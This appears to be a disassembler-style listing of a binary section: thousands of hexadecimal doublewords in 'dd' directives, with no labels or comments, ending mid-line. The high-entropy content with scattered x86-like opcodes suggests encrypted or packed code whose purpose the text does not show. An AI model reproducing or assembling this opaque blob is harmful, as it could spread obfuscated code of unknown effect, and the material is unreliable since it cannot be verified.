71D07543h, 0E28A32BDh, 0E983615Bh dd 12E68103h, 494ED7CDh, 890Fh, 0EA810000h, 1, 1D850Fh dd 81660000h, 0E965ACCEh, 24h, 743D1D70h, 0AA398A34h, 908CC0B0h dd 0C05EAA67h, 6601C96Ah, 0BFC4F681h, 0FFFF81E9h, 0E0235BFFh dd 0FE8D1635h, 1EE9h, 7E008A00h, 52h, 5 dup(0) dd 0E9000000h, 583h, 15A9CBA3h, 720626FFh, 0D266805Ch dd 35C9DDBCh, 9428441Fh, 411C35BBh, 0A17B9125h, 0FBD9EF83h dd 5E3B51E5h, 4FFFB246h, 0A94A2DD2h, 0D564A913h, 0ED6A7956h dd 1442A016h, 0CA025BC4h, 710521FCh, 2E667E5Bh, 336B8360h dd 346C8C65h, 987412D0h, 37B4467Eh, 1442A040h, 3A4CA50Eh dd 14B2E99Dh, 0B4921E38h, 95728C9Eh, 0F5D3E97Dh, 57354BDFh dd 0E119310Eh, 3B9DED46h, 42A039BEh, 1FF99514h, 0D52EC901h dd 3F516F49h, 0B3D1AB79h, 0EC14F163h, 98D0E4C3h, 0FB109DFDh dd 0A472384Ah, 0A573ABCBh, 3675ADCBh, 67B376Fh, 0A644772Fh dd 0B93EBBC8h, 151442E2h, 274153ACh, 45E33349h, 7F1A5266h dd 58354B6Dh, 0A15B0840h, 7E1442E2h, 26D985C1h, 0AFE05BCFh dd 70h, 617956D8h, 0B4739F11h, 0D8738BAAh, 969F8B9h, 86981686h dd 116A13C0h, 39371442h, 70A8BC9Bh, 7E26C3D5h, 9DC49D3Bh dd 0C6DE39ABh, 172982BEh, 5BABC33Ch, 114E0h, 563D0000h dd 57255D7Dh, 58265E7Eh, 77156579h, 0AE49819Bh, 0F572D69Ch dd 0A2F5CEB1h, 0D873ABC7h, 0F8D5EB7Fh, 724CE0h, 9638623Fh dd 39B60680h, 14421342h, 0C095A710h, 275F7B56h, 21AF795h dd 31D2FCAh, 94D20A2Ah, 42E09BCBh, 7B164E64h, 58744F69h dd 0B9D1AEC4h, 0D6EECB69h, 5430FEC4h, 5768023Ah, 0FC06F2Fh dd 0A735E05Ch, 5E000000h, 275F7B56h, 2B637D59h, 3068805Dh dd 0A05A219Eh, 8FF81442h, 1DC2503h, 0B912ADE5h, 0CA7A4381h dd 0BFE76486h, 6E298AFCh, 4932C946h, 37A01442h, 0C765ED7h dd 0E905E0FAh, 48643F55h, 4F634210h, 6B8561FFh, 0A7F99359h dd 1B2DB835h, 97747571h, 53AC477Fh, 0BCE0A441h, 0E05BC773h dd 0CFEDC765h, 721EBDh, 56470000h, 95275F7Bh, 41AC0223h dd 39B68E2Bh, 1442F542h, 0FE4EA710h, 42F5FA81h, 0DDEF5814h dd 97CFE5C3h, 99D1EFC9h, 5D0EDCBh, 0A1349E2Ah, 0A1DF1770h dd 45E4ACD8h, 0C09B82C2h, 1F789871h, 7D56BA8Bh, 0D831512Ah dd 0A009F3A0h, 0B18C1442h, 0B48F5D95h, 5F6F4491h, 0D029C56Bh dd 0D1F1CA98h, 5FDCFE99h, 0AC696B27h, 0FD3BC4F8h, 19CE05Bh dd 0C5000000h, 4F2D7A56h, 0DAA8E039h, 805BDEFDh, 0E1A5C110h dd 0C2995088h, 5C39D782h, 3C183244h, 206F8E22h, 8BC13E8Eh dd 4913A685h, 0FDDAA8E0h, 19F795E5h, 1E30CB03h, 0F109E6FCh dd 0B08927B9h, 0ABBD5890h, 0A6E5CBB2h, 8EB63913h, 69AB28Fh dd 0ABFB13F0h, 101BA539h, 692D972h, 37FD0F2Bh, 3C748C69h dd 0E7135FEh, 57C91931h, 939DDBF6h, 99BBCDB3h, 77E43DC2h dd 15E9AD8h, 92C30000h, 0ACF619F4h, 33699159h, 2CFA328Bh dd 63FE3650h, 85A57E0Ah, 6F3F5073h, 0DE5BBD1Fh, 1442F719h dd 413A4CB5h, 13A6E99Fh, 0A057D436h, 2E13A6D5h, 2DE7B8BEh dd 0CB2484CAh, 3971DAB9h, 26768E6Bh, 5C94AA88h, 3D5B35C1h dd 36586A05h, 0F32B4320h, 0F8304825h, 0CAB5F1BAh, 0E785D5EDh dd 0C0E2F408h, 1F6C48E6h, 95CD2646h, 562DAAFAh, 413A639h dd 51AE899Bh, 86D87778h, 57h, 0A18834A6h, 0EB5B19E9h, 444D04D9h dd 69D1A6Ah, 546BBD5Fh, 7106B3EBh, 319442A0h, 62AF8B29h dd 0DA126B87h, 0D4902D3Fh, 2D7D3160h, 17E9A8BBh, 7DFA96C3h dd 94427B86h, 8092EB54h, 0C3A240A2h, 3FA49DAFh, 5BEBBD84h dd 0E6845EF2h, 1CB7EF0Bh, 8A380Ah, 4DC70000h, 9F1C6C42h dd 13A6B9F5h, 0E7AD2A9Ch, 3A8446FAh, 0A8E04928h, 51E5FDDAh dd 20620577h, 46327C65h, 253D1A34h, 294040EDh, 41C413A6h dd 77F45605h, 13A62A80h, 0B9D3E54Eh, 1130C4DCh, 63E0307Eh dd 144DC0B2h, 0FD82FF61h, 591B92D4h, 63FFDEF0h, 0DE166F85h dd 0CB1B3310h, 1394F2Dh, 0E13A5A33h, 3A5209CFh, 70A8BE9Ch dd 7E26C3D5h, 0A4C49D3Bh, 9CBFD16Ch, 0EE6BBBF3h, 1C793E27h dd 690E8BEBh, 0E503FEFEh, 0BE8F237Ch, 0FD19F492h, 0F5182AC5h dd 47C4149Ah, 13A94A9Eh, 0D5A3DB44h, 1E90E0F8h, 494A8C15h dd 7451DDC4h, 7789245Ch, 1DD7B55h, 0C414AFE7h, 0A953B047h dd 0A3B51E13h, 0FC8DAC89h, 0DDA21F80h, 7913A942h, 4FFAB010h dd 0F68D0A5Ah, 6413A92Fh, 0B452A2FBh, 0BB89C1D5h, 5B6DC6DEh dd 0DF94E895h, 0AF6D463Ch, 0E51D3311h, 0EB9B384Ah, 0EB7F9774h dd 90E0F8D5h, 0C4FC16F2h, 83511729h, 1DFB99A4h, 0DFE79C07h dd 0A7349C3h, 0EBC279B1h, 0CFE7C4BBh, 0E808E17Fh, 0C19EB4D6h dd 8EB71A9h, 71000000h, 0CCDEF6D3h, 563E8DF7h, 56245C7Eh dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh dd 703E768Ah, 74427A94h, 0EE437B9Bh, 1EA668h, 243C8900h dd 7B3B68h, 24348900h, 5E08950h, 4, 8704E883h, 895C2404h dd 6852240Ch, 43DA37F2h, 0E7BF575Ah, 0D1385F19h, 47D7F7EFh dd 0C781D7F7h, 0CDF4E6Ch, 6095C781h, 0FA21EBB2h, 5BC2815Fh dd 89072BB6h, 8B545AD6h, 0C481240Ch, 4, 8B850h, 0C8010000h dd 89F58955h, 0FF585D28h, 81592434h, 4C4h, 2434FF00h, 4C4815Eh dd 0E9000000h, 0FFF88E37h, 0B926EFA0h, 0DF20E74Fh, 0B8AC1AFCh dd 7EBEF45h, 0E0FFC503h, 767D1C6Eh, 5C1FB271h, 7D069F73h dd 6416E351h, 0FC2C64Ah, 17F96ABDh, 4F280D5Dh, 437DB181h dd 7077233Fh, 0C8A0395h, 0B4F820h, 7255E47Dh, 5E8h, 0A6343000h dd 0BE9CE96h, 11000000h, 0B022FD5Eh, 0CDE4C1C8h, 6659576Dh dd 0C181F38Bh, 0DD88h, 0A002E081h, 4BA46FCh, 8108479Fh dd 4767C5EAh, 0BE908h, 9FEB0000h, 0DB0B6BF8h, 75AA4C6Bh dd 5F31FF31h, 81F7B70Fh, 4E1E2EF7h, 817FB72Ch, 0FBE0E3F7h dd 8104B074h, 7F5250C7h, 58FC500Eh, 0E9833989h, 5AC68104h dd 4A2E068Ch, 14850Fh, 0F3800000h, 17E994h, 0E8410000h dd 12FAB024h, 0C2E4F05Dh, 0E9F99713h, 0FFFFFFB5h, 5E24DE48h dd 608D8D1Ah, 0F07EBF1h, 482h, 8BA6600h, 718D89D0h, 8907E41Bh dd 0E423FD9Dh, 0A185C707h, 0B407E42Dh, 6A000071h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0C4B2C350h, 0C01F5AB0h, 0A2CCB965h, 15B503F9h, 0C707E424h dd 0E422B985h, 7, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0FFE5475Ch, 0E42BF1B5h dd 0F9858907h, 0FF07E429h, 0E4306195h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 4FC81E3Bh, 97AD6AFCh, 1AB5858Bh, 0BD0B07E4h, 7E42A19h dd 95FF006Ah, 7E40E41h, 1AEBC08Bh, 498BAAA2h, 587F5FB7h dd 0D5D099CDh, 3CCDCDC4h, 0FDEB2C2Eh, 831778EDh, 27E902E1h dd 0B6000000h, 45D831h, 8 dup(0) dd 66E90000h, 6000005h, 62780C2Eh, 0BFD56989h, 1F35C9E3h dd 82982C40h, 1EF78BA7h, 88A47FD8h, 0E604DEF4h, 485E3C52h dd 0A9C19EB4h, 35B26215h, 13A9514Eh, 9238C70Ch, 2502EC20h dd 0BFD1C187h, 78B0C8A5h, 1FB3CFAAh, 0C4142C09h, 961EE562h dd 53BC1442h, 0D0AD7B41h, 0D9B280B8h, 558DAD86h, 0C52961BAh dd 44211C48h, 0F335B025h, 0E5A4DDC5h, 0F71B26B7h, 21B50E67h dd 83172D0Bh, 14300BA9h, 1B2F0EDCh, 0B896B0C2h, 0C29C6AA2h dd 0B74B30ADh, 9E071442h, 3E560D45h, 97A9C5A0h, 0F5D34AFAh dd 0F714BDFh, 9748649Dh, 0AA1508E7h, 1442C8D5h, 0F107E581h dd 0B3C51EB9h, 6CA4BC99h, 42C83DBFh, 307B5814h, 0ACE43D51h dd 0ADE505DEh, 0ACFFA76Eh, 113FACEEh, 34368F45h, 0EE8CCF77h dd 8C6AF614h, 76896476h, 5FE05B61h, 52h, 5B209288h, 746594FEh dd 84617B8Dh, 0F687346Ch, 0AB144242h, 6503B6EEh, 48643F86h dd 0E41C7510h, 0C61F3B16h, 2F26D9B4h, 1AFE05Bh, 0D8000000h dd 255D7D56h, 0FE1AF593h, 0FF192BC6h, 0DEF6D326h, 0A07F4D85h dd 73F0548Ch, 53734C33h, 0B4CCA9BFh, 7B564F20h, 0F795275Fh dd 30CB0319h, 62B3C9D0h, 5174C53h, 0BAF212EBh, 0F9D4727Ch dd 859269E6h, 0D7401442h, 97CF6C7Eh, 1DB1CDA8h, 0DA122A07h dd 0DE16300Ch, 0A7243310h, 144285D0h, 84BC157Eh, 858E75F2h dd 0E34C1442h, 275F7D57h, 0A5ED9970h, 54083C4Dh, 0E05BEADBh dd 841Ch, 7B564500h, 7D59275Fh, 4AC72B63h, 2C48231Ah, 9F976ADCh dd 6F5AA764h, 0C3613B5Dh, 0A2BC98E9h, 3E76CF6Ah, 9C7791A3h dd 18B64880h, 53D0203Eh, 1442A9ACh, 95AFC12Ah, 0D06AA2B6h dd 0D89F1C7Eh, 761442A9h, 265EFB0Dh, 0DEFAD573h, 1EF90BA6h dd 0E05C0711h, 14C29C7h, 39D40C24h, 432FCEE0h, 58000000h dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 0F95BABC7h, 42A0877Ch dd 5C864414h, 76476807h, 88AABC25h, 2A7D56B7h, 0FAD7374Bh dd 1655A1E7h, 59063E97h, 1442F6A7h, 0D787BF7Ch, 0E05BBB28h dd 1ADh, 7A56D600h, 7D5A2860h, 9F762D65h, 3D16B4E7h, 15F10B1Dh dd 474867FBh, 0BAA51767h, 8610FDE9h, 9D1AF80Ah, 13A65B57h dd 9CAD8925h, 0A65C581Fh, 348DF613h, 0F8D5A3DBh, 0B12E90E0h dd 13A65CCAh, 0EB0D1F88h, 0A8E0F8D5h, 889F7816h, 0A65C740Bh dd 2079E213h, 423B4DE8h, 13A65CBBh, 1F1E46C9h, 78DA2A42h dd 0A65C04FBh, 5769D213h, 7CF95B35h, 13A65C87h, 825EEA53h dd 5F3C5668h, 64410F47h, 0DD6144Ch, 0EA09E659h, 7C735FA6h dd 0B90962D8h, 1224401Bh, 1CE619F0h, 72EFD877h, 18000001h dd 0FEFC2092h, 3887CE35h, 228C0326h, 4A8B55D2h, 0E04913A6h dd 0E5FDDAA8h, 465E3B51h, 4B63400Eh, 580CD513h, 0A0F008E5h dd 0B23AC13Eh, 2F9813A7h, 74ACC8A3h, 0CEA5C7D9h, 0D876FF31h dd 67A6h, 444DCF00h, 46B81A6Ah, 0B835F8A0h, 1442D3C3h dd 6DC6268Fh, 0CFEBC6EFh, 746B6476h, 226BBD0Eh, 2FD481B9h dd 709442F1h, 556B4992h, 0F129821Dh, 0F22A4A23h, 3D20643Bh dd 77124A5Eh, 2A5A211Eh, 809B0D6Fh, 9144AF20h, 294037A2h dd 0A50E9442h, 8D217093h, 0D6DBC03Dh, 0DB77EBBDh, 10ABE301h dd 0CA5523B7h, 0E4000000h, 1C6C424Dh, 283E1CBAh, 4A4355F0h dd 13A6B998h, 9368E547h, 3F13A6B9h, 85E5C4D6h, 0B9D1A623h dd 147D13A6h, 0A6B9D2A9h, 4E6A4513h, 688861FDh, 0E33C9530h dd 0B500DDABh, 0D468C1D7h, 3EC2E1BEh, 263DBBD5h, 90225AB3h dd 0ECFE14F2h, 0A608F7F3h, 0B0F47713h, 552AA709h, 113A609h dd 8F6C8698h, 70089770h, 5F1AAB41h, 0A3393DBh, 5A107038h dd 4E427337h, 1C3BCF28h, 102E0873h, 0EFC967B7h, 0ECFE99D1h dd 0CD4AAC0Eh, 13A60336h, 30293BA4h, 144DF2CBh, 0ED0EEA88h dd 6E48ED75h, 6DA5FECEh, 78E1C0D2h, 7D957240h, 8FB78E45h dd 56A60887h, 7936A2D9h, 0C1BF311Ch, 0C24D387Ah, 72FA06B6h dd 750E312h, 19AD16F5h, 6C424D48h, 411CBA1Ch, 4052ED25h dd 0A9513047h, 0A42E9E13h, 0D4F4CDD6h, 30A1019Ch, 0E1197222h dd 8A1E3613h, 1B43EB0h, 18A0C629h, 0F70FEC06h, 495012BFh dd 8F4D519Ah, 0E9FB15F1h, 4825184Ch, 0A9869C30h, 0AC8B5991h dd 0D2A96098h, 0B6CEAB92h, 0D4EAC866h, 0CDEF019Ch, 8AC2DAB7h dd 657D5AF8h, 38153h, 8D100000h, 5C7E563Eh, 61795624h dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h dd 7A94703Eh, 7B9B7442h, 8950EE43h, 405E0h, 42D0000h, 87000000h dd 895C2404h, 0D682414h, 89000052h, 29682414h, 8900006Fh dd 0B850243Ch, 23167CFh, 0CD24A1BAh, 58C23142h, 8106EAC1h dd 224B33EAh, 14CA8177h, 811DF94Eh, 0F201D2C2h, 32396869h dd 24890000h, 24048324h, 13685F04h, 89000021h, 478F2414h dd 243C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch dd 815A2434h, 4C4h, 86F5E900h, 0CD4FFFF8h, 0CF6957B6h dd 0DA2D9145h, 0F506C799h, 0F683B816h, 0C50307EBh, 8CF2E0FFh dd 6DA21F9Bh, 0F12E1345h, 797A088Ch, 56317791h, 735F7EA1h dd 0BF493B8Dh, 67137B54h, 0D6447F84h, 0C441334Dh, 0E3BF0AFAh dd 7563720Bh, 0BF3D5EB7h, 0BA6A7448h, 93A40894h, 40E53A4Ch dd 0EC63571h, 3AF102B0h, 690561BAh, 537B5060h, 0F2387426h dd 0EB0A6463h, 213655C3h, 7C67301Dh, 0AEA06126h, 78612A73h dd 4BF759B1h, 0D26C7E55h, 0DE8502Bh, 63000000h, 0F7E443C4h dd 0C58D67F9h, 0AEFF6E19h, 0F3816660h, 586134FCh, 9E8h dd 72AA7300h, 358133C8h, 0BA6647FDh, 815EF3F5h, 66BFC0h dd 850F00h, 0BF000000h, 7EF9DFFh, 7B8AC781h, 800FF810h dd 4, 698CB966h, 8B66188Bh, 9DC381D3h, 0E815C80Dh, 9, 985D6A0Ch dd 8804E5B2h, 0EB81594Ah, 44F149B9h, 10D4C381h, 810F2BDCh dd 3, 89D2B70Fh, 29B96618h, 0BAE88154h, 6657C2C4h, 0C081F28Bh dd 57C2C4B6h, 81F18B66h, 1EFh, 0AD850F00h, 0FFFFFFFh, 0ECE9C9BFh dd 0 dd 37000000h, 37C8106h, 587C81CEh, 57C80C0h, 0ED7C9010h dd 7C9010h, 276F200h, 5 dup(0) dd 0A0000000h, 7C80ADh, 2Bh dup(0) dd 6000000h, 14000000h, 0A11611EDh, 92CA11A2h, 6C21E4DBh dd 4D471561h, 2B07A8E5h, 65321282h, 361457Fh, 4023ADA6h dd 0A7BB1566h, 16D6011Fh, 61C288EBh, 97CD1280h, 9FB14D3Dh dd 16D61C53h, 0D8256166h, 4023AD35h, 0A7BB1566h, 16D6011Fh dd 6EED88EBh, 97CD1280h, 0A63D4D3Dh, 11321561h, 7E99506h dd 0AD53C0ECh, 22321576h, 926A205Ch, 8BBA96D6h, 6380C755h dd 0B19F7BB1h, 98F19C35h, 0AC2E9EBEh, 0B836D1E5h, 0DA66A8E5h dd 1E32128Dh, 88324DE2h, 43B71A66h, 2D321566h, 113214E5h dd 0DBFED66h, 43D97385h, 22339569h, 0EECB1566h, 7CB875B6h dd 0B2F99400h, 0A83D749Ah, 11321571h, 8832078Fh, 0DB0BCC66h dd 0A37A7C40h, 8F8F701Ah, 0EB8FBD0Eh, 0C9A4E2DDh, 0C95506E3h dd 90547561h, 98621B4h, 0F576E4ADh, 0F2CD745Bh, 3CB7D39Eh dd 0DE35F14Ah, 43BF1A9Eh, 2D321566h, 113214ECh, 0DA5AEC66h dd 0B1AEBDDEh, 373A099h, 1E521282h, 8752D3D9h, 443215EAh dd 4348A666h, 0B6B79807h, 0E835F2D6h, 0B8E59E00h, 42E2EA07h dd 11349D69h, 66B31566h, 13A595Ah, 0DA53B1D6h, 84390EFh dd 0EE521282h, 4EDBDFEDh, 2A321566h, 42561424h, 5FAA7DC8h dd 0C93D74FFh, 2232157Dh, 113DFC06h, 68411566h, 0F165B7C3h dd 38224A3h, 51FAEC18h, 6FB37304h, 835338C4h, 0C63F2CE3h dd 11321561h, 82B91A66h, 24321566h, 22329B69h, 70521566h dd 0A5B7D307h, 135F14Ah, 4B5B7D9Eh, 1DB9B14h, 0D321566h dd 1B7A7228h, 9B3496E0h, 739B4C89h, 77448C2Dh, 0A03388D3h dd 0EBB37561h, 56C4C83Fh, 54B79807h, 0AD35F15Dh, 2232156Fh dd 0FFA0E9F1h, 3849A816h, 0ADE2EA6Dh, 2232156Bh, 0BD7A5D3h dd 1B0FB77Dh, 97A6FB68h, 0A3B79C49h, 0E835F174h, 0A41F90A0h dd 4B711282h, 223214EDh, 4F5AED66h, 61AE720Dh, 4432156Eh dd 56340133h, 0D5461821h, 89AFA099h, 0CE521282h, 0C2E19480h dd 7072A258h, 88321F8Fh, 0C24CB166h, 7D9C151Ah, 9CFC00CAh dd 6C09C9E3h, 4CB81A61h, 2D321566h, 113217EAh, 61537566h dd 44321560h, 7B30D458h, 0C1CD3260h, 883C9F69h, 4B521566h dd 223215EDh, 8BDA9466h, 0E9673664h, 0BC0E90EFh, 2DDB128Dh dd 0EA321566h, 0DD6D7863h, 6E0FB63Eh, 0BF976ABh, 94F446E5h dd 8FD6394Bh, 4439FC32h, 0CFF51566h, 0BE820AACh, 63495B37h dd 2C1B7D94h, 0DDCBFB04h, 0F53388D3h, 0DBFED61h, 43D62EBAh dd 22299469h, 90521566h, 0AD2120AEh, 443CFC2Ah, 31C61566h dd 0FDCCF927h, 0DA38F9EBh, 0D7740173h, 2DBF1A07h, 0F8321566h dd 8832156Ch, 0C90161B4h, 697971DFh, 0C1CDD886h, 88321F8Fh dd 5BA3B266h, 7B8997h, 98D31CE2h, 63CA55E3h, 0C1F4E061h dd 25D6394Bh, 3B31A23h, 87321566h, 443219EAh, 2235FC66h dd 3BBE1566h, 555B4000h, 7CF07D80h, 29DBCF06h, 0AA321566h dd 0FC090C3Eh, 0A3120A1Ch, 97CDE64Dh, 16D614FBh, 88339F69h dd 0C9CE1566h, 0C609C9E3h, 13B41A61h, 0E8321566h, 24E2EA07h dd 2232048Eh, 0F2469766h, 12265CB0h, 24066FE5h, 466A952Bh dd 0FFB2639Eh, 9544BE9h, 25BCB391h, 0DA7690EFh, 1E52128Dh dd 954DAD1h, 25F3C385h, 227A8E5h, 1E321282h, 883314E3h dd 4CBA1A66h, 2D321566h, 113217EDh, 4E537566h, 0A01E38E3h dd 36DB5061h, 0BF321566h, 2BEC145Ah, 9D15410Dh, 88ED4B45h dd 396B29C0h, 749F3844h, 644C930Eh, 97CDED9Ch, 16D614FBh dd 80BC1A9Ah, 24321566h, 22329869h, 9C531566h, 6C09C9E3h dd 4BCA7561h, 223210E7h, 7F17AC66h, 77531AA4h, 0C1BBE0B6h dd 25D9ED2Eh, 11321E8Fh, 56556166h, 0ABC690EFh, 0D2E1524Ch dd 3D1F90A0h, 707E1282h, 62E2D60Eh, 3BB31A86h, 0F8321566h dd 88321572h, 0C4639CC4h, 1D9F57DAh, 45393387h, 45D161h dd 0D3EB5681h, 23AFA099h, 983D1282h, 8832156Bh, 44321D8Fh dd 96F93566h, 0D7DFD04h, 0DBFED7Ah, 43D62EBAh, 23B41A9Ah dd 0E4321566h, 0EE52C599h, 0E6ACF4E7h, 6EB79C07h, 0F835FE9Eh dd 88321569h, 7183A413h, 4492234Bh, 104EA845h, 61C96378h dd 44321460h, 223A9D69h, 913D1566h, 88321564h, 0C1F47406h dd 25D6394Bh, 16B61A34h, 87321566h, 443214EDh, 2F5AEC66h dd 0E48E5F82h, 0AA67A099h, 57DB1282h, 3B321566h, 2173FA77h dd 5FCC6C09h, 0F7713449h, 5963C706h, 973DBBF2h, 88321561h dd 4B537506h, 0AF53C6D1h, 0F509C9E3h, 83B91A61h, 0AD321566h dd 22321560h, 7BDDA110h, 81DBFED8h, 25321566h, 0DFDFB5A5h dd 2D369CA9h, 1C7C599h, 0AFCA5DE3h, 0A7F4EC61h, 16D6394Bh dd 48897534h, 0CF50DDBEh, 6A5A74B5h, 1E94592Ch, 883214E9h dd 0F1CDE966h, 25D63733h, 1132188Fh, 1092966h, 0AEAA309Eh dd 0A349D966h, 94BFA9CBh, 8FD62EBAh, 443DFC9Ah, 9B051566h dd 0D9E62168h, 0B44A39B3h, 4807A34Dh, 42E2EAC3h, 14B01A9Ah dd 0EE321566h, 0FF6F5E7h, 6EB79C07h, 1E35FE9Eh, 883214E0h dd 0C13DE066h, 22321574h, 113BFC06h, 39A61566h, 95CA2E4h dd 428557C8h, 94F47407h, 8FD6394Bh, 4437FC34h, 76B31566h dd 79122E13h, 7570A18Ch, 44321B8Fh, 0EC5B466h, 0C47BDC44h dd 0B0F20955h, 243B00FFh, 2D9ECFE6h, 0EE53D2D9h, 6C3388D3h dd 443EFC61h, 8CD41566h, 0D9265203h, 8AD96F3h, 0C1BF579Ch dd 25D62EBAh, 113A9F69h, 73D1566h, 44321564h, 0F2CD7406h dd 113A9769h, 53D1566h, 44321564h, 0A7BB7406h, 16D634EFh dd 0A5B7D39Eh, 3335F14Ah, 22339D69h, 79C71566h, 7BA5BDC5h dd 4432058Fh, 0B2210066h, 45CA7782h, 2E9943F4h, 9CDEEE75h dd 0C387EA85h, 0F835F17Bh, 8832156Eh, 351F6B8Bh, 0C3D55316h dd 2AEE90EBh, 77CE1282h, 0C1BBEDB6h, 25D61AE7h, 113E9269h dd 23D1566h, 44321560h, 22329C69h, 94F41566h, 8FD6394Bh dd 535AE034h, 42B8C857h, 11309E69h, 0E9521566h, 4432048Fh dd 12775966h, 0E93640C5h, 97EFCDF0h, 0BB51B40Bh, 0DD53A02Bh dd 0F53388D3h, 0DBFE961h, 43D62EBAh, 22369C69h, 0A0521566h dd 58CD7423h, 0FDB79C9Fh, 4235F143h, 11321B8Fh, 3BA90E66h dd 63A4343Eh, 0E9DDAEDDh, 77C2E2A3h, 4E53D3EDh, 0A01E38E3h dd 2D524361h, 973DD7D1h, 88321565h, 25C3A269h, 3D5F2C0Eh dd 0CBB975B2h, 78B97306h, 44329469h, 43531566h, 3073A099h dd 5CB1282h, 0A382B2E3h, 23BD1A61h, 0E9321566h, 83DBC599h dd 0EA321566h, 9413ED73h, 0C3F11E75h, 0DBBDBC4h, 43D60A53h dd 222E9169h, 963D1566h, 88321570h, 4432048Fh, 0DE322F66h dd 53128143h, 62FBF0CFh, 0AB6A54A1h, 0A7F4C768h, 16D6394Bh dd 9EB71A21h, 0AD321566h, 22321577h, 0E597AF3Bh, 12B33A9h dd 5B028418h, 0B43B120h, 1487D9Fh, 87DB94BAh, 6A321566h dd 97B3A694h, 965C44A9h, 740E0EDAh, 0F1CDC5A7h, 25D614FBh dd 11321B8Fh, 1BD92F66h, 99E0215Ah, 0E2917867h, 9C03355Fh dd 6C09C9E3h, 57BB1A61h, 0CB321566h, 11321568h, 454BF9ECh dd 0F4EF2E56h, 0ECBE433Bh, 0C1CDDB99h, 88339369h, 0CDCE1566h dd 0C62764E3h, 94F4E961h, 8FD6394Bh, 41BD1A21h, 42321566h dd 70EAAA69h, 8787F70Eh, 43B61AECh, 2D321566h, 113214E7h dd 3DCDE066h, 43D614FBh, 2232188Fh, 615E1066h, 0DDE66AEDh dd 0D244D629h, 0A7BFBFB8h, 16D62EBAh, 8832108Fh, 3800B266h dd 0F2CD576Ah, 7DB79C9Eh dd 6135FE9Eh, 44321576h, 0DF450A01h, 761D9867h, 0E520BF75h dd 0E05F1D10h, 43C7EC06h, 0BDB90A1h, 884A1282h, 0ADCB1566h dd 22321574h, 0A5A4299h, 973FBDBEh, 8FBA2E3Bh, 3F73A7BAh dd 0ACB18E22h, 8FD6367Bh, 6EB61A66h, 2D32157Fh, 113212E8h dd 0D2627566h, 25C7DEE6h, 0E1F90A0h, 0F87E1282h, 88321560h dd 0E41AC277h, 0CB5A22BEh, 1EEBCF7Ah, 883214E0h, 0F1CDE066h dd 25D614FBh, 11339369h, 5CE1566h, 0A009C9E3h, 0FAB37561h dd 35249CC0h, 0E9CC9E00h, 4FDBC599h, 0B9321566h, 0BEBDF7BAh dd 395E2120h, 0C1BB150Ch, 25D9ED3Eh, 1EEB9F06h, 883217E1h dd 25C29E66h, 0E1F90A0h, 0E47E1282h, 0FCECDB0Eh, 25CE75BBh dd 22321B8Fh, 0BF597866h, 4D9C9376h, 0E6272D9Ah, 0DD8461C1h dd 0F53388D3h, 53D7561h, 44321564h, 0F8B26AD1h, 1E527444h dd 883216EAh, 97B97366h, 0FEB79807h, 0E835F15Dh, 73DC599h dd 4432156Dh, 0E98D1A06h, 0D4A6E5E7h, 61534432h, 4432156Ch dd 0AD11CD4Ah, 79F98120h, 0DBB8929h, 43D9ED3Ah, 22321C8Fh dd 15FB3266h, 92A1DC9Ah, 56DB261Fh, 5B321566h, 0BC3CC52Ah dd 0A900BFD5h, 3C3C200Eh, 83478F58h, 3CB7D37Dh, 0C435F14Ah dd 0C60D7D9Eh, 0A33DA2E7h, 11321577h, 8832198Fh, 329D066h dd 4FEB9C5Ch, 633642CDh, 1587EAF4h, 2435F167h, 4593AA00h dd 94BF749Fh, 8FD62EBAh, 0ADE2EA9Ah, 22321569h, 0D91459C1h dd 0F2CCC701h, 0BBA49C07h, 0DAD0DEA0h, 0E95290EFh, 9CDB128Dh dd 0AE321566h, 444065FBh, 97A6268Bh, 3179575Ch, 26FEECDCh dd 0E4B80036h, 0F51E38E3h, 0E0CA5961h, 0F71D557Eh, 0BF87EA9Fh dd 1E35F167h, 883213EAh, 1E627566h, 0AF53F6ECh, 0F509C9E3h dd 84B01A61h, 4B321566h, 223213E6h, 11BA1A66h, 77321566h dd 0C4CE75B6h, 0DA5355A7h, 0E95290EFh, 53D128Dh, 44321568h dd 22321C8Fh, 0D86ADE66h, 2D2DB0C1h, 54DBA8E1h, 0A321566h dd 43125122h, 0A5F41C45h, 8C0C42Fh, 0E4AC11E5h, 0F51E38E3h dd 2525361h, 7410AF9Ah, 4A5324DBh, 0ABEC1372h, 7753E906h dd 0A03388D3h, 9D3D7561h, 70F89EA4h, 0B3EE90EBh, 0F6521282h dd 0F2CD7486h, 1132068Fh, 95C7D266h, 9C707CB6h, 706F418Fh dd 92211BB8h, 0E67DDF5Bh, 0BC5A90EFh, 0A83D128Dh, 11321568h dd 88321C8Fh, 770A2F66h, 7A0B5D97h, 94F4B1D1h, 8FD6394Bh dd 4420FC21h, 54E11566h, 0DA223C00h, 78FFAC22h, 0E3053D92h dd 4D7C0895h, 0CD226F0Eh, 8FB71AE7h, 24321566h, 70E29E00h dd 9B527438h, 51B37387h, 0BB53B131h, 0C63388D3h, 94BFED61h dd 8FD62EBAh, 4432198Fh, 92914866h, 6156785h, 362DCDDEh dd 4423FC20h, 28F41566h, 220A2F92h, 0D00B5D97h, 6BA2B1D1h dd 0DDAA9626h, 113DFCB6h, 2D81566h, 73F254F9h, 71028029h dd 620711Ch, 0F8B79C9Bh, 0BC35FE9Eh, 0E1F90A0h, 0F8751282h dd 88321561h, 11457275h, 4AF985E6h, 0FEB59BCAh, 882C9369h dd 4B521566h, 36DBC5D9h, 51321566h, 606D1F35h, 65B47844h dd 0AF9A4D12h, 0FAF3ACB6h, 0E943E516h, 45AFA099h, 0AFC71282h dd 0F509C9E3h, 883CFC61h, 71D11566h, 1D52E371h, 8EADBD1Ch dd 7E75026Ah, 0C03DC599h, 22321575h, 113F9D69h, 80DB1566h dd 6321566h, 8F99260Ch, 1EBCC3E8h, 883200EFh, 4422FC66h dd 0A3F21566h, 6C233E2h, 258218ADh, 81488F13h, 0A7BBAC26h dd 16D9ED12h, 6AB3EC06h, 58ABFB03h, 0FB7D307h, 5635F14Ah dd 88359369h, 0CF3D1566h, 22321567h, 0B6E07D9Eh, 